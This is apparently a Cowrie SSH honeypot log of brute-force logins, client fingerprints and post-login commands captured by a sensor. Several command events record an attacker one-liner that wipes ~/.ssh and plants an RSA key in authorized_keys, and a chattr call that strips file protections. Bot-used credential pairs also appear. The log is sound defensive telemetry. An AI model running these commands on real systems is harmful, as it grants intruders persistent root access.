{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:32.729713Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.041659Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.045099Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.186233Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.189341Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.198.81","src_port":57734,"dst_ip":"10.17.0.5","dst_port":22,"session":"2004bc958fa7","protocol":"ssh","message":"New connection: 190.119.198.81:57734 (10.17.0.5:22) [session: 2004bc958fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.320766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.325000Z","src_ip":"190.119.198.81","session":"2004bc958fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:33.462082Z","src_ip":"190.119.198.81","session":"2004bc958fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:34.045327Z","src_ip":"190.119.198.81","session":"2004bc958fa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:35.188243Z","src_ip":"190.119.198.81","session":"2004bc958fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.198.81","src_port":58074,"dst_ip":"10.17.0.5","dst_port":22,"session":"00050a20462e","protocol":"ssh","message":"New connection: 190.119.198.81:58074 (10.17.0.5:22) [session: 00050a20462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:35.324914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:35.331833Z","src_ip":"190.119.198.81","session":"00050a20462e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:35.470099Z","src_ip":"190.119.198.81","session":"00050a20462e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:36.056653Z","src_ip":"190.119.198.81","session":"00050a20462e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:36.199269Z","src_ip":"190.119.198.81","session":"29f56be06d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:36.204516Z","src_ip":"190.119.198.81","session":"00050a20462e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56922,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f7f3e74532","protocol":"ssh","message":"New connection: 2.57.122.210:56922 (10.17.0.5:22) [session: 03f7f3e74532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:59.246712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:59.251573Z","src_ip":"2.57.122.210","session":"03f7f3e74532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:59.352655Z","src_ip":"2.57.122.210","session":"03f7f3e74532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123456","message":"login attempt [solana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:33:59.658371Z","src_ip":"2.57.122.210","session":"03f7f3e74532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:00.761794Z","src_ip":"2.57.122.210","session":"03f7f3e74532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":58112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e077b24a2ea","protocol":"ssh","message":"New connection: 165.154.22.233:58112 (159.203.135.109:22) [session: 9e077b24a2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:37.005633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:37.010443Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:37.233924Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"user2026","message":"login attempt [root/user2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:38.135641Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:38.617314Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:38.621220Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:38.625546Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:38.856525Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.323426Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.326834Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.552403Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.555928Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":58654,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd80ce2c449c","protocol":"ssh","message":"New connection: 165.154.22.233:58654 (159.203.135.109:22) [session: dd80ce2c449c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.767620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.777800Z","src_ip":"165.154.22.233","session":"dd80ce2c449c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:39.992205Z","src_ip":"165.154.22.233","session":"dd80ce2c449c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:40.854977Z","src_ip":"165.154.22.233","session":"dd80ce2c449c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:42.085488Z","src_ip":"165.154.22.233","session":"dd80ce2c449c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":59150,"dst_ip":"159.203.135.109","dst_port":22,"session":"c32744193bd3","protocol":"ssh","message":"New connection: 165.154.22.233:59150 (159.203.135.109:22) [session: c32744193bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:42.289844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:42.301115Z","src_ip":"165.154.22.233","session":"c32744193bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:42.518507Z","src_ip":"165.154.22.233","session":"c32744193bd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:43.384818Z","src_ip":"165.154.22.233","session":"c32744193bd3","protocol":"ssh"}
